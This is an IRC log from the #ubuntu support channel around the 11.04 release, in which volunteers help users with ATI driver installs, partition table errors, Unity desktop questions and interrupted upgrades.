[07:23] <ubottu> Lesterwood: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:23] <Lesterwood> imagine it, windows applicaitions running fine on ubuntu
[07:23] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[07:23] <Lesterwood> sorry
[07:24] <Jordan_U> Ubuntu_user: It's much easier to have grub load Windows' bootloader than visa-versa. Why do you want to do this?
[07:24] <vibhav> <truepurple> you used my method?
[07:24] <truepurple> vibhav: I never found out what your method would install, so no
[07:25] <Stryker> !dev|me
[07:25] <ubottu> me: Interested in becoming an Ubuntu Developer? Get started here: https://wiki.ubuntu.com/UbuntuDevelopment
[07:25] <Stryker> !natty
[07:25] <ubottu> Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[07:25] <Lesterwood> ah yes what happened to my temp monitor panel
[07:25] <Lesterwood> someone explain
[07:25] <Stryker> no way! Natty is mainstream now!>
[07:25] <vibhav> <truepurple> lemme see
[07:26] <Stryker> i was just alpha testing it a month ago
[07:26] <sivau> helo
[07:26] <sivau> <sivau> can any1 help me pls...am trying to install ubuntu 11.04 ,it says No detected operating system,
[07:26] <sivau> <sivau> i want a duel boot with win7
[07:26] <sivau> <sivau> i have 2 disk partions
[07:26] <FloodBot1> sivau: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:26] <Jordan_U> Gatoratde: Ubuntu_user: I would recommend installing normally by booting from the install CD rather than using wubi.
[07:26] <taglass> a month ago is forever when you have 6 month dev cycles :)
[07:26] <MrMassiveManMeat> bye all
[07:26] <Jordan_U> sivau: Can you pastebin the output of "sudo parted -l"?
[07:26] <Byan> Stryker: releases are on a schedule.. shouldn't be surprising..
[07:26] <Stryker> how do i add applets to a panel in unity
[07:27] <Stryker> Byan, I didn't think unity was ready for release, but they have released it...
[07:27] <truepurple> vibhav: Open source or proprietary, and if the latter, autoupdate or not?
[07:28] <beoyndcr> I am really really trying to like unity but I think unless big changes are made it might fail
[07:28] <Stryker> i agree, beoyndcr
[07:28] <sivau> @jordan:ubuntu@ubuntu:~$ sudo parted -l
[07:28] <sivau> Error: Invalid partition table on /dev/sda -- wrong signature 0.
[07:28] <sivau> Ignore/Cancel? ^C
[07:28] <sivau> Model: Imation Nano Pro (scsi)
[07:28] <sivau> Disk /dev/sdb: 4060MB
[07:28] <sivau> Sector size (logical/physical): 512B/512B
[07:28] <FloodBot1> sivau: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:28] <ZykoticK9> beoyndcr, Stryker there are other distros out there
[07:29] <Ubuntu_user_> so if i have to add entries of ubuntu using EasyBCD i get three options of drives what i do one is swap dive other is home and third is root. any suggestions please?
[07:29] <vibhav> <truepurple> http://paste.ubuntu.com/601165/
[07:29] <ubuntu> #
[07:29] <ilea> i instaled slitaz on a old computer and i cant make the pppoe work after i put in username and pasword i click start and nothing hapens
[07:29] <ilea> some help if someone knows
[07:29] <spikebike> beoyndcr: heh, fedora and ubuntu have all head big changes like this several times
[07:29] <Jordan_U> !pastebin | sivau
[07:29] <ubottu> sivau: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[07:29] <spikebike> oops, s/head/had/
[07:30] <beoyndcr> spikebike I know I just hope it comes together I really want to like this
[07:30] <sivau> am sorry am a newbee
[07:30] <truepurple> vibhav: Yes I have those instructions from before, but what are they instructions of? What would it install if those instructions work?
[07:30] <spikebike> beoyndcr: I was awkward at first, but unity is growing on me.
[07:30] <Logan_> spikebike: how does your awkwardness affect Unity? :P
[07:30] <Stryker> so if you know how to use it, how do u add applets to a panel?
[07:30] <beoyndcr> spikebike i think my biggest thing is trying to keep track of running windows
[07:30] <spikebike> heh oops
[07:31] <vibhav> <truepurple> they are instructions for Installing proprietary ATI or NVIDIA video drivers for Ubuntu
[07:31] <trihope> anybody able to help me fix unity? I was trying to setup compiz fusion and accidentally disabled unity wall, lost panel and launcher.
[07:31] <spikebike> beoyndcr: I kinda like that for instance if you click on the terminal icon all the terminals come to the front
[07:31] <trihope> just upgraded to 11.04 tonight, and i'm a noob
[07:31] <vibhav> <trihope> Whats the problem?
[07:31] <spikebike> trihope: mkdir backup and mv all your .* files to backup
[07:32] <Jordan_U> sivau: It looks like your partition table is invalid.
[07:32] <Logan_> !noob | trihope
[07:32] <ubottu> trihope: Acronyms or statements like noob, jfgi, stfu, or rtfm are not welcome in this channel. Period.
[07:32] <beoyndcr> Spikebike, yes but it kinda gets in the way when you have 1 app running then 3 instances of term running and all the terms come up at once things get mixed up
[07:32] <trihope> Logan_: sorry, didn't know as evident by the word
[07:33] <Logan_> heh
[07:33] <spikebike> Logan_: heh, weird, he was self describing not insulting someone
[07:33] <pfifo> "period"
[07:33] <spikebike> lame
[07:33] <crlcan81> honestly I know one thing that doesn't work too well on 11.04, at least not for me. Alltray.
[07:33] <Logan_> spikebike: calling yourself one is prohibited as well ;)
[07:33] <beoyndcr> spikebike but i guess its just still young they will probably have things worked out by 11.10
[07:34] <Stryker> he shown that he was new to ubuntu, I think it shall not be punishable when self inflicting or proving a statement en verbatim
[07:34] <sivau> jordan: how can i fix it
[07:34] <crlcan81> I already altered the necessary configuration in unity's desktop setup for everything to be visible in the notification tray that needs be
[07:34] <trihope> spikebike: not sure exactly how to do that. I'm actually on my win 7 boot.  everytime i booted into ubuntu i just had my desktop and didn't know how to open anything
[07:34] <spikebike> pretty strange to ban just a neutral word
[07:34] <crlcan81> luckily for me I still have cairo dock as well.
[07:34] <winber> study is the best way to use Ubuntu
[07:35] <Stryker> how do i add applets in unity?
[07:35] <Vustom> I'm trying to use a launcher to launch minecraft.jar, and I just put this as the command in the launcher "/home/vustom/Vustom/Ubuntu/Games/minecraft.jar" without the quotes, but when I try to open Minecraft using the launcher it doesn't work?
[07:35] <vibhav> <Vustom> displays an security error right?
[07:35] <taglass> Vustom: try java -jar /home/vustom/Vustom/Ubuntu/Games/minecraft.jar
[07:35] <vibhav> <Vustom> displays a security error right?
[07:35] <pfifo> Vustom, you need to java Minecraft.jar
[07:35] <spikebike> Vustom: try replacing that with java -jar (jar file path)
[07:36] <Vustom> so.. "java -jar /home/vustom/Vustom/Ubuntu/Games/minecraft.jar"?
[07:36] <spikebike> ya
[07:36] <spikebike> if that doesn't work try /usr/bin/java
[07:36] <Jordan_U> sivau: If you don't use my full nick, Jordan_U, your messages to me won't be highlighed in my client so I'm likely to miss them.
[07:36] <Lopyshok> help open flash card ;)
[07:36] <Jordan_U> !tab | sivau
[07:36] <ubottu> sivau: You can use your <tab> key for autocompletion of nicknames in IRC, as well as for completion of filenames and programs on the command line.
[07:36] <spikebike> not sure if the launcher respects path
[07:36] <Vustom> That worked, thanks. ;3
[07:37] <beoyndcr> All i have to say is unity looks and works alot better than stock gnome shell
[07:37] <Vustom> Unity is actually pretty cool once you fix it all up to suit your style. :D
[07:37] <spikebike> beoyndcr: use a mac much?
[07:37] <beoyndcr> I hate mac
[07:37] <truepurple> vibhav: The type that autoupdate and are easy to clear out?
[07:37] <haroon> how I can add system monitor applet in unity 11.04
[07:37] <spikebike> beoyndcr: I take that as a no
[07:37] <vibhav> <truepurple> ya
[07:37] <sivau> Jordan_U, ok derat thanx
[07:37] <beoyndcr> but the new ipad isnot bad
[07:38] <winber> maybe
[07:38] <sivau> Jordan_U, how to fix that problm dear
[07:38] <spikebike> I used a mac a year or two ago and the new unity seems VERY VERY similar to what I remember
[07:38] <haroon> how I can add gnome applets in 11.04
[07:38] <vibhav> <haroon> No support for applets in 11.04
[07:38] <vibhav> <haroon> But you can use gdesklets
[07:38] <beoyndcr> I dont think they have launcher yet
[07:39] <Vustom> One last thing, I've removed Evolution and installed Thunderbird, I've installed the thunderbird applicator but it only shows up within that mail icon when it's already launched, how can I add a link there to launch Thunderbird like there is for Pidgin?
[07:39] <winber> yeah, i think ubuntu is the similar with macos
[07:39] <Jordan_U> sivau: Run "sudo fdisk /dev/sda" and pastebin the output. It will bring up a new prompt, don't type anything further untill I tell you to.
[07:39] <Jordan_U> !ot | spikebike winber
[07:39] <ubottu> spikebike winber: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:40] <spikebike> Jordan_U: discussing the osx docs vs unity dock is ot?
[07:40] <haroon> is there any way add custom panels (like 10.04 allow us to add four panels) and can I customize it
[07:40] <lumbert> Getting an error when trying to do a live session of ubuntu 11.04. ||initramfs||  using the same usb stick earlier today on another machine worked fine, this is an x64 compatible machine
[07:40] <Jordan_U> spikebike: Yes. This is an Ubuntu support channel, not an Ubuntu discussion channel.
[07:40] <pfifo> lumbert, what is the error
[07:40] <Ubuntu_user_> how do you access terminal or other system settings in 1.04 unity view without changing to classic
[07:40] <winber> OK~
[07:40] <MK``> !Oneiric
[07:40] <ubottu> Ubuntu 11.10 (Oneiric Ocelot) will be the fifteenth release of Ubuntu.  Codename announcement here: http://www.markshuttleworth.com/?p=646
[07:41] <pfifo> Ubuntu_user_, terminal is in apps, "gnome-terminal" setting are in the logout button
[07:41] <zvacet> spikebike: yes,because that doesn´t help any body  :)
[07:41] <lumbert> is there error logged anywhere? it just references initramfs, busybox 1.17 and something about live..
[07:41] <haroon> I am just facing issue on wifi is disabled I search alot and add broad com and b43 driver but no change
[07:41] <linux> gnibbles game
[07:41] <winber> ok i will change to there, thx
[07:41] <Ubuntu_user_> ohh.....and apps like gparted etc
[07:42] <AbuMaia> Is anyone else seeing Banshee not showing as active in the Unity launcher while running?
[07:42] <pfifo> lumbert, at that point in the boot process, everything is logged to the screen
[07:42] <vibhav> I have a problem .. where is the ire effect availble in compiz?
[07:42] <vibhav> I have a problem .. where is the fire effect availble in compiz?
[07:42] <Jordan_U> !ccsm | vibhav
[07:42] <ubottu> vibhav: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[07:42] <lumbert> so nothing was written to my flash drive?
[07:43] <vibhav> no but there is no fire effect only watter effect in compiz Jordan_U
[07:43] <Logan_> vibhav: I saw that as well.  They must have removed that effect.
[07:43] <Stryker> there is a fire effect vibhav
[07:43] <pfifo> lumbert, no it wont write boot error logs to your flash drive
[07:43] <Stryker> oh, they removed it?
[07:43] <AbuMaia> vibhav: it may be a separate plugin
[07:43] <Jordan_U> vibhav: Fire is likely in the compiz-plugins-extra package.
[07:43] <sivau> Jordan_U, done
[07:43] <Stryker> i used compiz when it wasn't called compiz
[07:44] <sivau> pasted
[07:44] <vibhav> <Jordan_U> installling that package...
[07:44] <taglass> Stryker: I have compiz on vinyl
[07:44] <Stryker> sivau, what is the link?
[07:44] <Shaggy2> how do I install xinerama?
[07:44] <lumbert> pfifo, is what i mentioned enough information?
[07:44] <Jordan_U> sivau: Please post the pastebin URL here.
[07:45] <pfifo> lumbert, "something about live" is not
[07:45] <Logan_> !xinerama | Shaggy2
[07:45] <ubottu> Shaggy2: xinerama is an extension to !X to use two or more physical displays as one large virtual display. See https://help.ubuntu.com/community/XineramaHowTo - See also !DualHead
[07:45] <vibhav> <Jordan_U> Installed that package , where do i get the fire??
[07:45] <Stryker> taglass, i got beryl on my 1st gen tape dirve
[07:45] <sivau> Stryker, http://paste.ubuntu.com/601167/
[07:45] <crlcan81> how does one go about customizing the menu buttons, the close program, minimize, maximize ones? I don't like em on  the left, or those style buttons.
[07:45] <vibhav> <Jordan_U> Installed that package , where do i get the fire??
[07:45] <vibhav> <Jordan_U> Installed that package (compiz-plugins-extra) , where do i get the fire??
[07:46] <sivau> Jordan_U, http://paste.ubuntu.com/601167/
[07:46] <Jordan_U> vibhav: I saw your question the first time (and second, and third...) . Please don't repeat yourself.
[07:46] <vibhav> ok
[07:47] <vibhav> Jordan_U then tell me how?
[07:47] <Jordan_U> vibhav: Please be patient. I'm trying to help multiple people at once right now.
[07:48] <HawkEye234> Hey, how do I access the files on a disc on a ubuntu server?
[07:48] <zvacet> vibhav: type ccsm and then start looking for fire effect
[07:48] <lumbert> bleh, is it possible for me to get it to write the text output on the screen to a file, i can't find anything to write with ;\
[07:48] <Jordan_U> sivau: Do you have good backups of all your data?
[07:48] <FREDDYP> HEY I AM USING 10.04. EVERY OTHER WEEK MY FILE SYSTEM BECOMES CORRUPT. STUFF VITAL TO BOOTING UBUNTU. WHY IS IT DOING THIS
[07:48] <HawkEye234> What is the path to the disc drive on a ubuntu server?
[07:48] <Jordan_U> !caps | FREDDYP
[07:48] <ubottu> FREDDYP: PLEASE DON'T SHOUT! We can read lowercase too.
[07:49] <taglass> lumbert: digital camera?
[07:49] <pfifo> lumbert, unfortunatly no
[07:49] <FREDDYP> ok
[07:49] <lumbert> i thought of that, my phone camera is shite, i'll try though
[07:49] <lumbert> brb, thanks
[07:49] <sivau> Jordan_U, u mean win 7backup? no dear
[07:49] <zubair_> is it monitor possible monitor system ram cpu usage and other system states in top panel
[07:49] <zubair_> 11.04
[07:49] <Jordan_U> FREDDYP: What happens when you try to boot? Have you checked the drive's S.M.A.R.T status?
[07:50] <Jordan_U> sivau: You should always have backups, no matter what you're doing.
[07:50] <FREDDYP> it varies. on the last time it complained about a font missing. before that i think it was could not mount or find errors, but not related to a font.
[07:50] <FREDDYP> i don't delete nothing myself
[07:51] <HawkEye234> How do I copy the files from a disc into my local folder on ubuntu server?
[07:51] <virgilivs> i just tried upgrading from to 11.04. the upgrade failed. it froze. Is there any way to resume or restart the installation? It died at configuring udisks
[07:51] <sivau> Jordan_U, i dont mind losing data from c drive, but iwant keep data of d drive
[07:52] <sivau> and i dont wan to lose win 7 too
[07:52] <Shaggy2> how do I get my 5.1 speakers to work in ubuntu 10.04
[07:52] <Jordan_U> sivau: I am 95% sure that typing 'w' at the current prompt in your terminal will fix your problem, but there is a chance that you're getting the error because you're using something I'm not familiar with, like Windows Dynamic Disks.
[07:52] <genupulas> virgilivs:  i think even though u abort the upgrade if u start again then it will continue fromwhere its stopped ....just retsart the system
[07:52] <Shaggy2> more to the point of my onboard sound card that supports 5.1 and seperate the front panel to look like a second card
[07:53] <sivau> Jordan_U,  shal i type w?
[07:53] <MACscr> how can i upgrade to natty without having all of my third party ppa's being updated as well? My update keeps failing because some of them dont have natty repo's
[07:53] <jiohdi> MACscr: copy them to a file and remove them until after the upgrade, then just pop them back in
[07:53] <virgilivs> genupulas: I didn't abort it though. The kernel panicked, the display and peripherals froze, and I manually turned off the machine. It's running 11.04 now as if everything is fine
[07:54] <crlcan81> most of those ones, I really didn't need.
[07:54] <virgilivs> genupulas: but everything is NOT fine because it didn't complete installation.
[07:54] <zvacet> MACscr: you have to disable all third party repos before upgrade
[07:54] <Jordan_U> sivau: It's your decision. If you have another drive (not just another partition) you can save a backup copy of your partition table and you should be able to restore it if anything goes wrong.
[07:54] <MACscr> zvacet: quick way to do that?
[07:54] <jiohdi> MACscr: in synaptic under repositories
[07:54] <crlcan81> I don't know if I missed it but did someone mention how to alter those three buttons in natty, or is there a way?
[07:55] <sivau> Jordan_U,  done"the partition table has been altered"..wats next step?
[07:55] <yigal> does anyone use vim and has just installed 11.04?  I don't have syntax highlighting and I was wondering if anyone has/had a similar issue, or or fixed this?
[07:55] <zvacet> MACscr: gksudo gedit /etc/apt/sources.list  put # in front of ppa lines save and close  sudo apt-get update
[07:55] <lumbert> pfifo; http://i.imgur.com/e87dW.jpg
[07:55] <Jordan_U> sivau: Pastebin the output of "sudo parted -l" again. You should get no error this time, and the installer should recognise your current partitions.
[07:56] <virgilivs> yigal: its because you consented to let it overrwrite your vimrc file
[07:56] <MACscr> zvacet: how is it that there are repos that i have though that arent in there
[07:56] <jiohdi> MACscr: in synaptic you just need to uncheck them and you can recheck them later
[07:56] <yigal> virgilivs: no that's not what happened
[07:56] <yigal> virgilivs: I still have my vimrc file
[07:56] <virgilivs> maybe it installed another one that has higher priority in your environment
[07:57] <taglass> yigal: try installing vim-gnome or just vim  The vim that ships by default is pretty stripped down
[07:57] <yigal> virgilivs: no because even manually :syn on fails
[07:57] <pfifo> lumbert, what filesystem is on the USB?
[07:57] <sakuramboo> is there any way to separate the unity menu? in gnome 2.x, i had sub folders for my games and would like to keep them, instead of just having one giant list
[07:57] <sivau> Jordan_U, http://paste.ubuntu.com/601175/
[07:57] <yigal> taglass: I know, but I have both installed
[07:58] <lumbert> fat32
[07:58] <yigal> taglass: there is no vim-full in 11.04 which I find interesting
[07:58] <virgilivs> damn it... why did I upgrade just to have these stupid new panels imposed on me
[07:58] <truepurple> vibhav: Can you source these instructions for me? I need to be able to determine if I can trust them
[07:58] <crlcan81> sakuramboo: I use cairo dock as a secondary panel setup, lets me do that.
[07:58] <jiohdi> virgilivs: you can change to classic or some other desktop
[07:58] <crlcan81> That was my original 'panel' replacement, in gnome enviroment, and it still works in unity.
[07:58] <virgilivs> jiohdi: do you have any idea how to re-upgrade? Mine did not compelte.
[07:59] <sakuramboo> crlcan81: well, see, thats the problem, i have over 50 games, hense why i separated them by genre
[07:59] <crlcan81> ... that's what cairodock does
[07:59] <crlcan81> it uses the OLD style menu
[07:59] <crlcan81> with genre seperation
[07:59] <crlcan81> I've got .. 133 at least.
[07:59] <crlcan81> including emulators
[07:59] <FloodBot1> crlcan81: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:59] <jiohdi> virgilivs: first try sudo apt-get install -f to resolve any hanging issues and then apt-get update followed by apt-get upgrade
[08:00] <sivau> Jordan_U, shalli try installing now
[08:00] <Jordan_U> sivau: Yes.
[08:00] <virgilivs> jiohdi: thnaks, I'll try
[08:00] <pfifo> lumbert, how did you make the USB?
[08:00] <sakuramboo> but, no way to do it with the unity menu? i actually like the unity menu and would like to utilize it
[08:01] <lumbert> tool shown on ubuntu's site, let me find the name
[08:01] <sivau> Jordan_U,  appreciated,thax u so much 4 ur help.may god bless u brother
[08:01] <Jordan_U> sivau: You're welcome.
[08:01] <lumbert> Universal-USB-Installer-1.8.4.4.exe
[08:01] <ubunto904> Hi~
[08:01] <crlcan81> As far as I know, no, but I've not used it as long as others. Just started about 4 or so hours ago, if that.
[08:01] <laughtrip> i just upgraded from 10.10 to 11.x yesterday and since then my box is unable to mount my data drive (i have an os drive and a separate 1 TB data drive). i got the "bad geometry" error. i have not found any relevant solutions in google or ubuntu's site. anyone know what i should do?
[08:02] <jiohdi> pfifo: you might also look for unetbooten
[08:02] <crlcan81> I already knew that something like this was coming with unity, so I kept cairo the way I liked and kept the conf files for that and grub.
[08:03] <sakuramboo> crlcan81: same here, just started playing with it an hour ago, still reinstalling all packages that didnt make it in the upgrade
[08:03] <Jordan_U> laughtrip: Can you try mounting the partition manually and pastebin the exact error message?
[08:03] <crlcan81> Most of the packages that didn't come with the upgrade haven't been an issue with me, yet, sakuramboo
[08:03] <adzy> anyone know how i make my VM fullscreen?
[08:04] <ranjithsiji> hai
[08:04] <adzy> i downloaded vmware tools but notsure how to install them
[08:04] <pfifo> lumbert, do you have a linux system available to you to follow linux based how to's for making bootable USBs?
[08:04] <sakuramboo> crlcan81: well, some graphics and development packages i need and didnt make it, so yeah, theres a lot of packages that need to be reinstalled
[08:04] <lumbert> yes
[08:04] <DirtyDawg> adzy: if its vmware if i recall correctly, when inside the vm do ctrl-alt-enter
[08:04] <lumbert> but the drive worked in another machine earlier today
[08:05] <sakuramboo> but, i had to do this with every version, so i wrote a script that handled adding the PPAs and installing all packages for me
[08:05] <virgilivs> jiohdi: it told me to run dpkg --configure a.... oy vey
[08:05] <adzy> thanks dirty dawg ;) worked a treat
[08:05] <DirtyDawg> np
[08:05] <yigal> virgilivs: I'm just going to build the latest vim from git, why not
[08:05] <jiohdi> virgilivs: what happened when you tried that?
[08:06] <crlcan81> sakuramboo So far my only major complaint with unity is it's integration with desktop wall on compiz, I prefer desktop cube. Plus some of the upgrading didn't let me install debs from link, aka downloading a deb and having it open in software center. It keeps saying the listed file doesn't exist in repositories.
[08:06] <adzy> the new ubuntu reminds me of fedora alot!
[08:06] <pfifo> lumbert, the problem is that, the initramfs is supposed to wait a few seconds for your USB device to be ready, but its not so it cant find the needed files. I recommend installing grub2 and using the isoboot method, but I cant find a good guide for it... yet
[08:06] <virgilivs> jiohdi: it's doing it... just taking forever as expected. it's just that its 3AM here
[08:06] <truepurple> So far my only major complaint of unity is that it doesn't work for me
[08:06] <jiohdi> 3am here too
[08:06] <xubuntu> hello
[08:06] <jiohdi> truepurple: its a work in progress, not ready for prime time player in the opinion of many
[08:07] <virgilivs> jiohdi: I'm used to Arch Linux idiosyncrasies and updating things incrementally
[08:07] <pfifo> lumbert, different machines have different USB controllers, and some chipsets are faster than others
[08:07] <sakuramboo> crlcan81: you can change the desktop wall with ccsm and i read on a blog somewhere about how to install deb files
[08:07] <xubuntu> join /#ubuntu-ko
[08:07] <truepurple> jiohdi: Could you help me figure out a ATI driver problem that is possibly related?
[08:07] <crlcan81> Does anyone know how to alter the unity menu to split up the applications more like the old style? Or how to move the buttons for minimize/maximize/close program to the right again?
[08:07] <jiohdi> virgilivs: I find the best way is to start the upgrade about a month out while in beta and then just let it gradually upgrade... by opening day, its all done
[08:07] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL
[08:07] <lumbert> they both asus p8p67 , same chipset
[08:07] <rubydiamond> Guys I had installed ufw.. now I removed it .. but config files for it are still sitting in my Ubuntu
[08:07] <rubydiamond> how to remove those config files too
[08:08] <rubydiamond> I tried autoremove and purge
[08:08] <pfifo> lumbert, this page explains how to make a grub2 isoboot setup but dosent explain how to install grub2 http://www.ubuntudoctor.com/content/blog/08/ISO-Booting-with-Grub-2-in-Ubuntu
[08:08] <virgilivs> jiohdi: i'll try to remember that
[08:08] <jiohdi> truepurple: I have only been playing with linux a bit over 2 years and not that skilled yet
[08:08] <xubuntu> 저...
[08:08] <DirtyDawg> xubuntu: /join #ubuntu-ko
[08:08] <crlcan81> sakuramboo: I tried to, but when I did it said unity needed them, you sure you want to do that?
[08:08] <truepurple> Can anyone help?
[08:08] <xubuntu> join #ubuntu-ko
[08:08] <lumbert> pfifo; thanks going to tinker, bbl
[08:08] <DirtyDawg> do /join
[08:08] <jiohdi> truepurple: state the nature of your emergency ... if someone knows they answer they will tell you
[08:09] <pfifo> lumbert, regardless of chipsets and computers, the problem is that the deice is not ready
[08:09] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL
[08:09] <sakuramboo> well, all in all, im liking it, of course there is a lot of things broken now because of the change and will take some getting used to, but i actually have high hopes for unity
[08:09] <virgilivs> jiohdi: well, I tried apt-get update and upgrade and it thinks everythnig is fine
[08:09] <virgilivs> jiohdi: but what does it know
[08:10] <jiohdi> virgilivs: type lsb_release -a and see what it tells you
[08:10] <plustax> Anyone else notice a slight bit of lag in 11.04? Any way I can fix this?
[08:10] <yigal> sakuramboo: I like unity quite a lot from the little I've used it
[08:10] <virgilivs> jiohdi: everything reads nominal
[08:10] <jiohdi> what does it say you are running
[08:10] <cxh> good everyone
[08:11] <virgilivs> 11.04, natty, etc
[08:11] <truepurple>  I failed to install a ATI driver from additional drivers, http://pastebin.com/9iC0sCwL Can someone please help make this work?
[08:11] <al_cell> Is there
[08:11] <jiohdi> virgilivs: than you should be ok... what seems missing?
[08:11] <stefg> truepurple: https://bugs.launchpad.net/ubuntu/natty/+source/fglrx-installer/+bug/745723 and https://bugs.launchpad.net/ubuntu/+source/fglrx-installer/+bug/709505
[08:11] <ubottu> Ubuntu bug 745723 in fglrx-installer (Ubuntu Oneiric) "package fglrx 2:8.840-0ubuntu1 failed to install/upgrade: fglrx kernel module failed to build" [Medium,Invalid]
[08:11] <ubottu> Ubuntu bug 709505 in fglrx-installer (Ubuntu) "[MASTER] fglrx failed to install/upgrade due to being incompatible with 2.6.38 kernel" [Critical,Fix released]
[08:12] <virgilivs> jiohdi: not sure. the upgrade failed at configuring udisks with "5 minutes remaining" for the entire upgrade process. The system completely froze. I had to manually restart
[08:12] <jiohdi> virgilivs: so is anything not working at the moment?
[08:12] <hello> hello
[08:12] <al_cell> A way to reduce the size of the unity file/app search thingy?
[08:12] <pfifo> hello, hello
[08:13] <stefg> !info ccsm | al_cell
[08:13] <ubottu> al_cell: Package ccsm does not exist in natty
[08:13] <plustax> Anyone else notice a slight bit of lag in 11.04? Any way I can fix this?
[08:13] <hello> where are you from
[08:13] <hello> ?
[08:13] <crlcan81> Does anyone who has more unity experience then sakuramboo and I know for sure if it's safe to switch from desktop wall to desktop cube if unity says it needs it, on compiz?
[08:13] <DeathKnight> stefg, wow! why does ccsm doesnt exist in natty?
[08:13] <virgilivs> jiohdi: not that I can tell, but it's still significant that it didn't finish, dont you think? it means there are now possibly dependency problems
[08:13] <crlcan81> it does death..
[08:13] <yigal> virgilivs: have you done a fsck.<file-system>? yet?
[08:14] <crlcan81> deathknight: It's just setup differently then you expect.
[08:14] <stefg> al_cell: there is tehe compiz config settings manager ... don't know why the renamed it or where it got stuffed away.
[08:14] <virgilivs> no
[08:14] <DeathKnight> ah.. ok
[08:14] <kylee> Does Ubuntu work good for a LAMP server?
[08:14] <stefg> !info simple-ccsm
[08:14] <ubottu> simple-ccsm (source: simple-ccsm): Simple Compizconfig settings manager. In component universe, is extra. Version 0.8.2-0ubuntu1 (natty), package size 50 kB, installed size 620 kB
[08:14] <stefg> there we have it
[08:14] <al_cell> Stefg: thanx i'll look into it
[08:14] <truepurple> stefg: ok thanks, how do I uninstall, and how do I install the open source?
[08:14] <adzy> anyone know how to get that new sidebar up for ubuntu 11.04
[08:14] <adzy> ???
[08:14] <jiohdi> virgilivs: apt-get install -f should fix all dep problems
[08:15] <crlcan81> every time I try to install simple-ccsm it says I don't have the necessary dependencies..
[08:15] <truepurple> stefg: What does the first link have to do with the issue though?
[08:15] <yigal> virgilivs: what do you get with 'apt-get dist-upgrade'?
[08:15] <virgilivs> jiohdi: then I'm totally confused about what it was doing.
[08:15] <virgilivs> yigal: nothing to upgrade, it says
[08:15] <jiohdi> virgilivs: seems like you made it
[08:16] <virgilivs> i am skeptical
[08:16] <virgilivs> it bombed, for heavens sake
[08:16] <jiohdi> virgilivs: system issues can resolve on restarts
[08:16] <root_> kn
[08:16] <yigal> virgilivs: what's in your /var/log/apt/history.log?
[08:17] <stefg> truepurple: i did not read thru the whole bug report... i just wanted to make you aware of google-fu. 'ubuntu natty fglrx build failure' spit these links out. Since you were able to track down the issue, you should be able to find out what applies to you and what not :-)
[08:17] <virgilivs> yigal: that file doesnt exist for me
[08:17] <virgilivs> nevermind
[08:17] <virgilivs> typo
[08:18] <yigal> virgilivs: but /var/log/apt/ the folder does exist for you?
[08:18] <truepurple> stefg: Well the whole thing is so above my head as to make it want to split, but that second link does seem to apply, thanks
[08:19] <virgilivs> yigal: no, it's there. I just had a type-o
[08:19] <truepurple> stegf: Do you know how to remove that driver?
[08:19] <vng> Good afternoon!
[08:19] <truepurple> I mean stefg
[08:19] <virgilivs> yigal: nothing unusual is recorded in the log. it doesn't contain anything about the upgrade procedure
[08:19] <yigal> virgilivs: so look at previous logs and find the one that does
[08:19] <adzy> how do i get the launcher bar up? mine ist there and just did fresh install
[08:20] <plustax> im having an issue. I have an ipod nano and I just formatted it and added a butt ton of music. I unplugged the ipod and it said there's no music in it. Running Ubuntu 11.04
[08:21] <stefg> truepurple: it is obviously *not* above your head. you managed to pastebin the exact right log... http://www.webupd8.org/2011/04/amd-ati-catalyst-114-released-just-in.html might shed some more light on that
[08:21] <zetheroo> for some reason my Skype icon is just a tiny green dot in 11.04 ... any ideas of how to sort this out?
[08:21] <virgilivs> yigal: can't find anything.... the date's not in any of the files. I grepped them all
[08:21] <truepurple> stefg: Some of it is, and some of it is stuff that my brain can't quite contain and it sort of leaks out my ears or something:p
[08:22] <Altheas> hello i just upgraded to unity and for some reason i can't see my top bar or my left dock thing. the only way i can function unity for now is to login with ubuntu classic. any ideas on how to fix this?
[08:22] <gotsanity> is there a way to set up multiple keyboard shortcuts for an action? I want to have a special key for changing workspaces and the ubuntu default as well
[08:22] <plustax> im having an issue. I have an ipod nano and I just formatted it and added a butt ton of music in banshee. I unplugged the ipod and it said there's no music in it. Running Ubuntu 11.04
[08:23] <manOwl> So I found a package that I don't believe is in the ubuntu repositories and it's pretty good
[08:23] <manOwl> If I make a .deb for it and stuff, can I submit it?
[08:23] <yigal> virgilivs: termlog's are right protected so you'll have to use sudo to grep those
[08:23] <manOwl> How are packages selected for inclusion?
[08:23] <virgilivs> i did
[08:23] <truepurple> stefg: And i have been working at this for some time, you would not believe the number of windows, webpages etc I got up
[08:23] <bp0> manOwl, are you sure
[08:23] <bp0> what is the package
[08:23] <stefg> truepurple: unfortunately i don't know the package names for the ATI stuff. sudo apt-get autoremove fglrx-installer might be worth a try
[08:24] <Altheas> hello i just upgraded to unity and for some reason i can't see my top bar or my left dock thing. the only way i can function unity for now is to login with ubuntu classic. any ideas on how to fix this?
[08:24] <manOwl> bp0: ms-sys
[08:24] <Hoyt> hi , anyone tried GrSecurity patch here ?
[08:24] <Hoyt> i can't find one suitable for Ubuntu , ubuntu's kernel is patched too much
[08:24] <durando> i just upgraded to ubuntu 11.04 and having trouble figuring out how to connect to my windows shares used to be under places connect to server does anyone know where its located now?
[08:24] <virgilivs> thanks yigal
[08:24] <manOwl> bp0: it allows you to make a windows 7 mbr and stuff. it can be used to create a bootable windows 7 usb drive from linux
